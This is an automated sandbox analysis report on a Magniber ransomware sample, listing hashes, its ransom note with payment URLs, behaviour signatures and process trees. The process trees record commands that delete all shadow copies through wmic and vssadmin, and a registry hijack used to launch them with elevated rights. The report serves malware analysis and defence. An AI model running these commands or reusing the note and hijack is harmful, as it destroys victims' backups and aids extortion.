magniber | 7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed

Resubmissions

18-08-2021 23:22

210818-8e7ftqdsax 10

22-05-2021 11:01

210522-avrsva3a7s 10

Analysis

max time kernel
122s
max time network
154s
platform
windows7_x64
resource
win7v20210408
submitted
22-05-2021 11:01

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General

Target

c6b6ec00_by_Libranalysis.exe
Size

22KB
MD5

c6b6ec00b64069d66c8d14d65f7cfd8f
SHA1

b90e6bf12728fa3b0984aabc32b39f1db082a1da
SHA256

7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed
SHA512

c9d7c97c63806e87804c33530f48ba950542ba28421d354cb287c9bf027ff5a853b76200e87eadd3cde0469f4b8c93f8c4bc0e71f5e4aa1cdf33e05c0673254a

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://50b03ce896784a70d4csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa http://50b03ce896784a70d4csnwyqmwa.nowuser.casa/csnwyqmwa http://50b03ce896784a70d4csnwyqmwa.boxgas.icu/csnwyqmwa http://50b03ce896784a70d4csnwyqmwa.bykeep.club/csnwyqmwa Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://50b03ce896784a70d4csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.nowuser.casa/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.boxgas.icu/csnwyqmwa

http://50b03ce896784a70d4csnwyqmwa.bykeep.club/csnwyqmwa

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	1396	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1316	1396	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1784	1396	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1576	1396	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	1396	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2660	1396	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2652	1396	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	1396	vssadmin.exe	48

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 11 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\CompleteDeny.tif => C:\Users\Admin\Pictures\CompleteDeny.tif.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\GetWrite.png => C:\Users\Admin\Pictures\GetWrite.png.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ResolveSave.tiff => C:\Users\Admin\Pictures\ResolveSave.tiff.csnwyqmwa	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\SendJoin.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UseNew.tiff => C:\Users\Admin\Pictures\UseNew.tiff.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\RevokeSave.raw => C:\Users\Admin\Pictures\RevokeSave.raw.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\SearchSet.raw => C:\Users\Admin\Pictures\SearchSet.raw.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ExitTest.tif => C:\Users\Admin\Pictures\ExitTest.tif.csnwyqmwa	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveSave.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\SendJoin.tiff => C:\Users\Admin\Pictures\SendJoin.tiff.csnwyqmwa	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\UseNew.tiff	taskhost.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1920 set thread context of 1124	1920	c6b6ec00_by_Libranalysis.exe	7
PID 1920 set thread context of 1172	1920	c6b6ec00_by_Libranalysis.exe	6
PID 1920 set thread context of 1252	1920	c6b6ec00_by_Libranalysis.exe	5

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2756	vssadmin.exe
2668	vssadmin.exe
2660	vssadmin.exe
2652	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e4500000000002000000000010660000000100002000000011fa0e6c400dba38922cd71f14098a00b0c8c0387b68fe1e1443bd778463e80d000000000e8000000002000020000000adf32010815a69779a8e4c6d13cc34db9f5e87d51619f9145c66e5a7040a80bd20000000ea350475971010e22b9da448a13e633f69fb2ad0fbda8e0842fb8195b0384fe8400000007675334ce95b5690f875f7b8d0b4d6a2d9fefe6aac3a0a2f3d0d9abf2e9f9cd22ad5ab11a851a4044ece11ec464d598811791dd1efe7bdabd5bf5607cbe71ca7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e450000000000200000000001066000000010000200000009c1a4d6a61f881ac43d56dfa9486d77b76fac9e8b1328a8d5038d7b590309956000000000e80000000020000200000004575ca9b47055ab632ca297f8a5d8f34774fcf0c25602e4afb205e9f7d4c1eef900000003755f37bd1e76b3f463bce88ecae414fd3262e68fa0f6ca4984c0ced480b8f9840d38e759bcd9f9f0a1c0320e983ac9a7244b05a2e7e34c7681b8cbaba094e8d2ab8d1ce012357d716b5a418e65bc3f03a6e0d719951fd20a984763d1b4c7e81d4fa1411dd21866c1ef798ee1d24ee27ad0448e867ccbaa6cfac9f611fd69eefb3fd5e279062d1ccf35615ae22284ea1400000002fedb0c1bec437f4183314c01b20a33ae2c19e4557cada7334d6cf612f4c8e894b0a4ada27841af2ee943b888553a0698e317bf8ec147d4579781165b8683692	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d09a34420a4fd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "327850180"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{59F34BE1-BAFD-11EB-A5E9-5E661A0063E2} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Process not Found
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
780	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1920	c6b6ec00_by_Libranalysis.exe
1920	c6b6ec00_by_Libranalysis.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1920	c6b6ec00_by_Libranalysis.exe
1920	c6b6ec00_by_Libranalysis.exe
1920	c6b6ec00_by_Libranalysis.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1908	WMIC.exe
Token: SeSecurityPrivilege	1908	WMIC.exe
Token: SeTakeOwnershipPrivilege	1908	WMIC.exe
Token: SeLoadDriverPrivilege	1908	WMIC.exe
Token: SeSystemProfilePrivilege	1908	WMIC.exe
Token: SeSystemtimePrivilege	1908	WMIC.exe
Token: SeProfSingleProcessPrivilege	1908	WMIC.exe
Token: SeIncBasePriorityPrivilege	1908	WMIC.exe
Token: SeCreatePagefilePrivilege	1908	WMIC.exe
Token: SeBackupPrivilege	1908	WMIC.exe
Token: SeRestorePrivilege	1908	WMIC.exe
Token: SeShutdownPrivilege	1908	WMIC.exe
Token: SeDebugPrivilege	1908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1908	WMIC.exe
Token: SeRemoteShutdownPrivilege	1908	WMIC.exe
Token: SeUndockPrivilege	1908	WMIC.exe
Token: SeManageVolumePrivilege	1908	WMIC.exe
Token: 33	1908	WMIC.exe
Token: 34	1908	WMIC.exe
Token: 35	1908	WMIC.exe
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1676	WMIC.exe
Token: SeSecurityPrivilege	1676	WMIC.exe
Token: SeTakeOwnershipPrivilege	1676	WMIC.exe
Token: SeLoadDriverPrivilege	1676	WMIC.exe
Token: SeSystemProfilePrivilege	1676	WMIC.exe
Token: SeSystemtimePrivilege	1676	WMIC.exe
Token: SeProfSingleProcessPrivilege	1676	WMIC.exe
Token: SeIncBasePriorityPrivilege	1676	WMIC.exe
Token: SeCreatePagefilePrivilege	1676	WMIC.exe
Token: SeBackupPrivilege	1676	WMIC.exe
Token: SeRestorePrivilege	1676	WMIC.exe
Token: SeShutdownPrivilege	1676	WMIC.exe
Token: SeDebugPrivilege	1676	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1676	WMIC.exe
Token: SeRemoteShutdownPrivilege	1676	WMIC.exe
Token: SeUndockPrivilege	1676	WMIC.exe
Token: SeManageVolumePrivilege	1676	WMIC.exe
Token: 33	1676	WMIC.exe
Token: 34	1676	WMIC.exe
Token: 35	1676	WMIC.exe
Token: SeShutdownPrivilege	1252	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeSecurityPrivilege	556	WMIC.exe
Token: SeTakeOwnershipPrivilege	556	WMIC.exe
Token: SeLoadDriverPrivilege	556	WMIC.exe
Token: SeSystemProfilePrivilege	556	WMIC.exe
Token: SeSystemtimePrivilege	556	WMIC.exe
Token: SeProfSingleProcessPrivilege	556	WMIC.exe
Token: SeIncBasePriorityPrivilege	556	WMIC.exe
Token: SeCreatePagefilePrivilege	556	WMIC.exe
Token: SeBackupPrivilege	556	WMIC.exe
Token: SeRestorePrivilege	556	WMIC.exe
Token: SeShutdownPrivilege	556	WMIC.exe
Token: SeDebugPrivilege	556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	556	WMIC.exe
Token: SeRemoteShutdownPrivilege	556	WMIC.exe
Token: SeUndockPrivilege	556	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1252	Explorer.EXE
1804	iexplore.exe
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE
1252	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1804	iexplore.exe
1804	iexplore.exe
2100	IEXPLORE.EXE
2100	IEXPLORE.EXE
2100	IEXPLORE.EXE
2100	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 780	1124	taskhost.exe	26
PID 1124 wrote to memory of 780	1124	taskhost.exe	26
PID 1124 wrote to memory of 780	1124	taskhost.exe	26
PID 1124 wrote to memory of 1404	1124	taskhost.exe	30
PID 1124 wrote to memory of 1404	1124	taskhost.exe	30
PID 1124 wrote to memory of 1404	1124	taskhost.exe	30
PID 1124 wrote to memory of 1864	1124	taskhost.exe	31
PID 1124 wrote to memory of 1864	1124	taskhost.exe	31
PID 1124 wrote to memory of 1864	1124	taskhost.exe	31
PID 1864 wrote to memory of 1908	1864	cmd.exe	35
PID 1864 wrote to memory of 1908	1864	cmd.exe	35
PID 1864 wrote to memory of 1908	1864	cmd.exe	35
PID 1172 wrote to memory of 1540	1172	Dwm.exe	36
PID 1172 wrote to memory of 1540	1172	Dwm.exe	36
PID 1172 wrote to memory of 1540	1172	Dwm.exe	36
PID 1252 wrote to memory of 1728	1252	Explorer.EXE	39
PID 1252 wrote to memory of 1728	1252	Explorer.EXE	39
PID 1252 wrote to memory of 1728	1252	Explorer.EXE	39
PID 1404 wrote to memory of 1804	1404	cmd.exe	37
PID 1404 wrote to memory of 1804	1404	cmd.exe	37
PID 1404 wrote to memory of 1804	1404	cmd.exe	37
PID 1728 wrote to memory of 1676	1728	cmd.exe	42
PID 1728 wrote to memory of 1676	1728	cmd.exe	42
PID 1728 wrote to memory of 1676	1728	cmd.exe	42
PID 1920 wrote to memory of 1680	1920	Process not Found	40
PID 1920 wrote to memory of 1680	1920	Process not Found	40
PID 1920 wrote to memory of 1680	1920	Process not Found	40
PID 1680 wrote to memory of 556	1680	cmd.exe	43
PID 1680 wrote to memory of 556	1680	cmd.exe	43
PID 1680 wrote to memory of 556	1680	cmd.exe	43
PID 1920 wrote to memory of 284	1920	Process not Found	44
PID 1920 wrote to memory of 284	1920	Process not Found	44
PID 1920 wrote to memory of 284	1920	Process not Found	44
PID 284 wrote to memory of 764	284	cmd.exe	46
PID 284 wrote to memory of 764	284	cmd.exe	46
PID 284 wrote to memory of 764	284	cmd.exe	46
PID 1804 wrote to memory of 2100	1804	iexplore.exe	57
PID 1804 wrote to memory of 2100	1804	iexplore.exe	57
PID 1804 wrote to memory of 2100	1804	iexplore.exe	57
PID 1804 wrote to memory of 2100	1804	iexplore.exe	57
PID 1576 wrote to memory of 2124	1576	cmd.exe	61
PID 1576 wrote to memory of 2124	1576	cmd.exe	61
PID 1576 wrote to memory of 2124	1576	cmd.exe	61
PID 1688 wrote to memory of 2132	1688	cmd.exe	60
PID 1688 wrote to memory of 2132	1688	cmd.exe	60
PID 1688 wrote to memory of 2132	1688	cmd.exe	60
PID 1316 wrote to memory of 2144	1316	cmd.exe	59
PID 1316 wrote to memory of 2144	1316	cmd.exe	59
PID 1316 wrote to memory of 2144	1316	cmd.exe	59
PID 1784 wrote to memory of 2184	1784	cmd.exe	58
PID 1784 wrote to memory of 2184	1784	cmd.exe	58
PID 1784 wrote to memory of 2184	1784	cmd.exe	58
PID 2132 wrote to memory of 2400	2132	CompMgmtLauncher.exe	63
PID 2132 wrote to memory of 2400	2132	CompMgmtLauncher.exe	63
PID 2132 wrote to memory of 2400	2132	CompMgmtLauncher.exe	63
PID 2144 wrote to memory of 2408	2144	CompMgmtLauncher.exe	62
PID 2144 wrote to memory of 2408	2144	CompMgmtLauncher.exe	62
PID 2144 wrote to memory of 2408	2144	CompMgmtLauncher.exe	62
PID 2124 wrote to memory of 2424	2124	CompMgmtLauncher.exe	64
PID 2124 wrote to memory of 2424	2124	CompMgmtLauncher.exe	64
PID 2124 wrote to memory of 2424	2124	CompMgmtLauncher.exe	64
PID 2184 wrote to memory of 2456	2184	CompMgmtLauncher.exe	66
PID 2184 wrote to memory of 2456	2184	CompMgmtLauncher.exe	66
PID 2184 wrote to memory of 2456	2184	CompMgmtLauncher.exe	66

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1252
- C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe
  "C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1680
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:556
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:284
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:764
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1676

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1540

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:780
- C:\Windows\system32\cmd.exe
  cmd /c "start http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa^&1^&47038039^&81^&363^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://50b03ce896784a70d4csnwyqmwa.jobsbig.cam/csnwyqmwa&1&47038039&81&363&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1804 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2100
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1908

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2400

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2408

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2456

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2424

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2668

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2660

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2652

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2756

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/780-125-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmp

Filesize
8KB

Download
memory/1124-104-0x0000000001D20000-0x0000000001D24000-memory.dmp

Filesize
16KB

Download
memory/1920-87-0x0000000001F80000-0x0000000001F81000-memory.dmp

Filesize
4KB

Download
memory/1920-61-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/1920-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/1920-88-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
